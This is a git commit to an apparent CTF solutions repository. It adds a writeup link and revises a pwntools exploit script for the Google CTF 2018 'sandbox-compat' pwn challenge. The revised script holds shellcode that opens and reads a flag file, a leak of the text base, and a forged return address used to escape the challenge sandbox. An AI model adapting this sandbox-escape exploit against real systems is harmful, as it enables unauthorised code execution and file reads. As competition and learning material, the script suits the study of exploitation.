Added writeup link

david942j · david942j · commit 8f772ab999df · 2018-06-27T11:24:52.000+08:00
diff --git a/README.md b/README.md
@@ -77,6 +77,7 @@
 * better_zip (crypto 231pts)
 * keygenme (rev 249pts)
 * sandbox-compat (pwn 420pts)
+  - [writeup](https://david942j.blogspot.com/2018/06/write-up-google-ctf-2018-pwn420-sandbox.html)
 * sftp (pwn 181pts)
 
 ## hitcon-quals-2017
diff --git a/google-ctf-quals-2018/sandbox-compat/exp.py b/google-ctf-quals-2018/sandbox-compat/exp.py
@@ -40,18 +40,15 @@
 
     mov esi, 0
     mov edx, esp
-    mov ecx, 0x100
-    call read /* read rop */
+    mov ecx, 0x10
+    call read /* read return address */
 
-    mov esi, esp
-    call open
-
-    std /* Hoo ray! */
+    std /* Yoooooo! */
     mov esi, esp
     add esi, 8
     call open
 
-    mov esi, 4
+    mov esi, eax /* open("flag")'s fd */
     mov edx, esp
     mov ecx, 0x100
     call read
@@ -93,24 +90,13 @@
 r.recvuntil('code!\n')
 r.send(payload + 'deadbeef')
 r.recvuntil("[*] let's go...\n")
-elf = ELF('sandbox')
-elf.address = u64(unhex(r.recvn(12))[::-1] + '\0\0')
-log.info('text base: ' + hex(elf.address))
-
-ret = elf.address + 0xbf6
-flag = elf.address + 0x1914
-xor_eax = elf.address + 0x1430
-pop_rdi = elf.address + 0x17dd
-pop_rsi_15 = elf.address + 0x17db
-pop_rbx = elf.address + 0x1402
+text_base = u64(unhex(r.recvn(12))[::-1] + '\0\0')
+log.info('text base: ' + hex(text_base))
 #  raw_input()
+log.info("Sending forged address..")
 r.send(flat(
-    ret, ret, ret, # whatever
-    pop_rdi, 2, # open
-    pop_rsi_15, flag, 0,
-    elf.plt['syscall'],
-    pop_rbx, 0x00000000beeffdec, # resume stack
-    0x10000002c,
+    text_base + 0x13d7,
+    "flag".ljust(8, '\x00'),
 ))
 
 r.interactive()
